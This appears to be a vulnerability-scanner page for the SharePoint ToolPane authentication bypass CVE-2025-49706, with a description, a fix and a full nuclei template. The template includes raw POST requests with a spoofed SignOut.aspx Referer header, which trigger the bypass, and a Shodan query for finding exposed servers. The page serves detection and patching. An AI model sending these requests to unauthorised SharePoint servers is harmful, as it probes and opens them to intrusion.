Microsoft SharePoint Server - Authentication Bypass

Exploited in the wild. Listed by CISA on 2025-07-22; known to be used by ransomware.

mediumseverity

6.5CVSS score

99.9%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Improper authentication in Microsoft Office SharePoint allows an unauthorized attacker to perform spoofing over a network.

Impact

Unauthenticated attackers can spoof authentication by manipulating the Referer header to access ToolPane functionality, potentially enabling unauthorized actions on SharePoint sites.

Fix

Apply the Microsoft security patches for SharePoint Server as described in the MSRC update guide.

How to confirm it

Send: POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx
Positive when: status_code == 301 || status_code == 302 and contains(all_headers, "Microsoftsharepointteamservices") and contains(tolower(body), "object moved")
Send: POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx
Positive when: status_code == 400 and contains(all_headers, "Microsoftsharepointteamservices")

Run it with nuclei: nuclei -id CVE-2025-49706 -u <target>

The full check

id: CVE-2025-49706

info:
  name: Microsoft SharePoint Server - Authentication Bypass
  author: daffainfo
  severity: medium
  description: |
    Improper authentication in Microsoft Office SharePoint allows an unauthorized attacker to perform spoofing over a network.
  impact: |
    Unauthenticated attackers can spoof authentication by manipulating the Referer header to access ToolPane functionality, potentially enabling unauthorized actions on SharePoint sites.
  remediation: |
    Apply the Microsoft security patches for SharePoint Server as described in the MSRC update guide.
  reference:
    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-49706
    - https://securelist.com/toolshell-explained/117045/
    - https://www.wiz.io/blog/sharepoint-vulnerabilities-cve-2025-53770-cve-2025-53771-everything-you-need-to-k
    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/http/sharepoint_toolpane_rce.rb
    - https://nvd.nist.gov/vuln/detail/CVE-2025-49706
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2025-49706
    epss-score: 0.99057
    epss-percentile: 0.99931
    cwe-id: CWE-287
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.component:"sharepoint"
  tags: cve,cve2025,sharepoint,auth-bypass,microsoft,vkev,kev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Accept-Encoding: gzip

        MSOTlPn_Uri=&MSOTlPn_DWP=

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 301 || status_code == 302'
          - 'contains(all_headers, "Microsoftsharepointteamservices")'
          - 'contains(tolower(body), "object moved")'
        condition: and
        internal: true

  - raw:
      - |
        POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Referer: /_layouts/SignOut.aspx
        Accept-Encoding: gzip

        MSOTlPn_Uri=&MSOTlPn_DWP=

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 400'
          - 'contains(all_headers, "Microsoftsharepointteamservices")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from